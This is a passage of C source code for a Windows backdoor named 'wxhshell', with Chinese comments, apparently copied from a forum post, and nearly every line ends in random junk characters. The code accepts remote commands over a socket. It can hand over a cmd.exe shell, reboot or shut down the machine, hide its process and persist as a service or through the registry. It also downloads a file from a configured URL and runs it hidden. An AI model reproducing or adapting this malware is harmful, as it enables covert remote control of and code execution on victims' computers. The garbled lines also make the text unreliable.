      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wQ8<%qi"L  
    break; [-Xah]g  
  } Sa@T#%oU  
  // 安装 I~4!8W-Y  
  case 'i': { i,rX. K}X  
    if(Install()) +&G]\WX<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X6=o vm  
    else LTuT"}dT[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); % CQv&d2  
    break; {s{+MbD  
    } vy-q<6T}:p  
  // 卸载 sl:1P^b  
  case 'r': { K^P&3H*(/n  
    if(Uninstall()) :i|Bz6Ht4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v8zOY#?  
    else ^%0^DN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Hc-up.?v'v  
    break; q2/kegAT  
    } }*S`1IWMj  
  // 显示 wxhshell 所在路径 c]"w0a-`^@  
  case 'p': { j /@<=  
    char svExeFile[MAX_PATH]; (gIFuOGi>  
    strcpy(svExeFile,"\n\r"); ;*hVAxs1  
      strcat(svExeFile,ExeFile); jhJ<JDJ?`  
        send(wsh,svExeFile,strlen(svExeFile),0); '(-H#D.oy'  
    break; ez~u A4  
    } IaK J W?  
  // 重启 s1tkiX{>  
  case 'b': { dptfIBYc+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !x! 1H5"  
    if(Boot(REBOOT)) bXA%|7*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WWC&-Ni  
    else { !w%p Gv.wg  
    closesocket(wsh); x~F YG  
    ExitThread(0); 7a=ul:  
    } O:ACp<@  
    break; "{kE#`c6<n  
    } "{Hl! Zq/  
  // 关机 pu_?) U  
  case 'd': { KGc!#C  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); cj[x%eK>  
    if(Boot(SHUTDOWN)) NKTy!zWh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w`v` aw]  
    else { 6Hfv'X5E`Z  
    closesocket(wsh); N`4XlD  
    ExitThread(0); 4*inN~cU  
    } nm_4E8&X  
    break; db@^CS[P  
    } 0O>M/ *W  
  // 获取shell QEMT'Cs  
  case 's': { *j=58d`n  
    CmdShell(wsh); Ti7 @{7>  
    closesocket(wsh); PPh<9$1\g  
    ExitThread(0); =RZ PDu  
    break; =uEpeL~d;+  
  } qJ2Z5  
  // 退出 M+%qVwp  
  case 'x': { x U"g~hT  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Pz\ByD  
    CloseIt(wsh); 4iZg2"[D  
    break; CugZ!>;^  
    } ?9>wG7cps7  
  // 离开 ]68 FGH  
  case 'q': { `\'V]9wS  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); PHJHW#sv  
    closesocket(wsh); C6Cr+TScH  
    WSACleanup(); Ikw.L  
    exit(1); d[  _@l  
    break; 0g HV(L?  
        } lr?SL\D  
  } 2R,8q0qR:  
  } X|D-[|P  
7SNdC8GZ~  
  // 提示信息 4* I XBi7%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h<bhH=6~  
} ~gHn>]S0  
  } pjQyN|KS  
Vbe@S?u-  
  return; j@Pd" Z9  
} 7GS 4gSd3  
1hSV/%v_  
// shell模块句柄 Z>3m-:-e  
int CmdShell(SOCKET sock) 1.PN_9%  
{ n-{d7haOa  
STARTUPINFO si; k_uI&,  
ZeroMemory(&si,sizeof(si)); *$`N5;7'`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &#KN"uPW  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \)6bLB!  
PROCESS_INFORMATION ProcessInfo; wLb:FB2  
char cmdline[]="cmd"; 4jGN:*kZ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); t0r0{:  
  return 0; _l1"X^Aa  
} g-B{K "z  
g^x=y  
// 自身启动模式 ^2{6W6=  
int StartFromService(void) G e5Yz.Q v  
{ l)~ U8  
typedef struct 2`j{n \/  
{ A{M7   
  DWORD ExitStatus; iOSt=-p  
  DWORD PebBaseAddress; :U=3*f.{  
  DWORD AffinityMask; )WW*X6[k  
  DWORD BasePriority; Lusd kc7  
  ULONG UniqueProcessId; ofw&? Sk0  
  ULONG InheritedFromUniqueProcessId; %d *0"<v  
}   PROCESS_BASIC_INFORMATION; l9OpaOVfJ  
Dsn=fht  
PROCNTQSIP NtQueryInformationProcess; ,>za|y<n  
}0Uh<v@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /8nUecr  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; z>iXNwz"?  
1P'A*`!K  
  HANDLE             hProcess; 'Bxj(LaV-  
  PROCESS_BASIC_INFORMATION pbi; 0 f$96sl  
{2m F\A#.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -84%6p2-  
  if(NULL == hInst ) return 0; d:>'c=y  
uK`gveY  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >d&0a:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "'@D\e}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  o0>|  
V6'u\Ch|  
  if (!NtQueryInformationProcess) return 0; h::(b,|f7  
z^jmf_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Q672iR\#)  
  if(!hProcess) return 0; "I:*  
^IyQzBOj  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .'Q*_};W  
GQk/ G0*&  
  CloseHandle(hProcess); e$WAf`*  
6({)O1Z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Nnr[@^M5  
if(hProcess==NULL) return 0; "Nb2[R  
BfCnyL%  
HMODULE hMod; _`O",Ff  
char procName[255]; 4b((,u$  
unsigned long cbNeeded; @"A 5yD5  
WT")tjVKA  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _| cSXZ|  
4o;;'P   
  CloseHandle(hProcess); C22h*QM*  
F$jy~W_  
if(strstr(procName,"services")) return 1; // 以服务启动 'q_Z dw%  
0Zp5y@ V8  
  return 0; // 注册表启动 US3)+6  
} o|vL:| 8Q  
.-![ ra  
// 主模块 ],[<^=|  
int StartWxhshell(LPSTR lpCmdLine) SZLugyZ2Y  
{ m@+QC$6S  
  SOCKET wsl; @: =vK?8L  
BOOL val=TRUE; 8~t8^eBg  
  int port=0; 27+faR  
  struct sockaddr_in door; 7l/lY-zO  
a^|9rho<  
  if(wscfg.ws_autoins) Install(); qyFeq])  
4c{j9mh  
port=atoi(lpCmdLine); ]0 = |?n$7  
o<txm?+N  
if(port<=0) port=wscfg.ws_port; ,H,[ )8  
 f+ !J1  
  WSADATA data; Y?7GFkIP$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~av#r=x  
CLe{9-o  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   s8 MQ:eAP  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ` - P1Y  
  door.sin_family = AF_INET; 1KGf @u%-1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,!alNNY  
  door.sin_port = htons(port); NqD Hrx  
B8"c+<b  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { y!}XlllV  
closesocket(wsl); ef&8L  
return 1; 9W]OtSG  
} 1n}#54  
8> $=p4bf  
  if(listen(wsl,2) == INVALID_SOCKET) { (n: A` ]  
closesocket(wsl); 9QB,%K_:4  
return 1; _'1 ]CoR  
} 9ZU^([@D  
  Wxhshell(wsl); f=Pn,.>tIz  
  WSACleanup(); _deEs5i  
X$1YvYsID  
return 0; J?X{NARt  
fe`_0lxj  
} _[rQt8zn  
dQ-shfTr]  
// 以NT服务方式启动 j$XaO%y)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) v=hn# U  
{ m a@V>*u  
DWORD   status = 0; Xx[,n-rA  
  DWORD   specificError = 0xfffffff; 4%8den,|  
?E+f<jol  
  serviceStatus.dwServiceType     = SERVICE_WIN32; u kZK*Y9P  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]Q0bL  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %xG<hNw/  
  serviceStatus.dwWin32ExitCode     = 0; nh5=0{va|L  
  serviceStatus.dwServiceSpecificExitCode = 0; _izjvg  
  serviceStatus.dwCheckPoint       = 0; g] }!  
  serviceStatus.dwWaitHint       = 0; bHx@   
tJ6Q7 J;n  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~8mz.ZdY  
  if (hServiceStatusHandle==0) return; hgW1g#  
`[#id@Z1  
status = GetLastError(); ]1>R8  
  if (status!=NO_ERROR) TI l 'Z7  
{ 4@Db $PHs  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;L-)$Dy4  
    serviceStatus.dwCheckPoint       = 0; WwZ3hd  
    serviceStatus.dwWaitHint       = 0; s$fX ;  
    serviceStatus.dwWin32ExitCode     = status; Ai[@2AyU  
    serviceStatus.dwServiceSpecificExitCode = specificError; na~ FT[3 C  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Me? I8:/  
    return; k[ D,du')  
  } jVN06,3z  
NQ[X=a8N  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ZYY2pY 1  
  serviceStatus.dwCheckPoint       = 0; P*7G?  
  serviceStatus.dwWaitHint       = 0; Y Z8[h`z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >K4Nn(~ys  
} 0&I*)Zt9x  
z_R^C%0k  
// 处理NT服务事件,比如:启动、停止 /@1YlxKF  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 52Lp_M  
{ %Gyn.9\  
switch(fdwControl) _4L6  
{ 5fiWo^s}  
case SERVICE_CONTROL_STOP: %bF157X5An  
  serviceStatus.dwWin32ExitCode = 0; K x) PK  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; LS9,:!$  
  serviceStatus.dwCheckPoint   = 0; I}|a7,8   
  serviceStatus.dwWaitHint     = 0; *VJISJC  
  { iEr?s-or  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \n,L600`q  
  } 0k16f3uI   
  return; *<67h*|)  
case SERVICE_CONTROL_PAUSE: r5nHYV&7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; gYrB@W; 2  
  break; u<fZ.1  
case SERVICE_CONTROL_CONTINUE: TB.>?*<n]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; - QY<o|  
  break; W]7<PL*u  
case SERVICE_CONTROL_INTERROGATE: i\/'w]  
  break; 3~3tjhw;]9  
}; NNqvjM-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k,=<G ,  
} ]N'% l]_$  
m3pDFI  
// 标准应用程序主函数 6=$<R4B  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]jVE  
{ xl,% Z~[  
|X A0F\  
// 获取操作系统版本 fvH{ va.  
OsIsNt=GetOsVer(); %(khE-SW  
GetModuleFileName(NULL,ExeFile,MAX_PATH); fw,,cu`YA  
m{RXt  
  // 从命令行安装 %} zkmEY.e  
  if(strpbrk(lpCmdLine,"iI")) Install(); yc3/5]E&  
vw3[(_MV3_  
  // 下载执行文件 p~8O6h@J  
if(wscfg.ws_downexe) { j_}:=3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0%L:jq{5  
  WinExec(wscfg.ws_filenam,SW_HIDE); @M<qz\ [  
} =6:9y}~  
~>9G\/u j  
if(!OsIsNt) { bK0(c1*a[e  
// 如果时win9x,隐藏进程并且设置为注册表启动 2>k*9kyp  
HideProc(); 25vjn 1$sW  
StartWxhshell(lpCmdLine); (T pnJq  
} w8Z#]kRv  
else `3VI9GmQ  
  if(StartFromService()) 8M,o)oH  
  // 以服务方式启动 Q0jg(=9wP  
  StartServiceCtrlDispatcher(DispatchTable); ]nRf%Vi8g  
else 57;0,k5Gy  
  // 普通方式启动 5,^DT15a4P  
  StartWxhshell(lpCmdLine); hLZf A rq}  
A_U=`M=-  
return 0; XtZd% #2},  
}
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只看该作者 1 发表于: 2006-10-10
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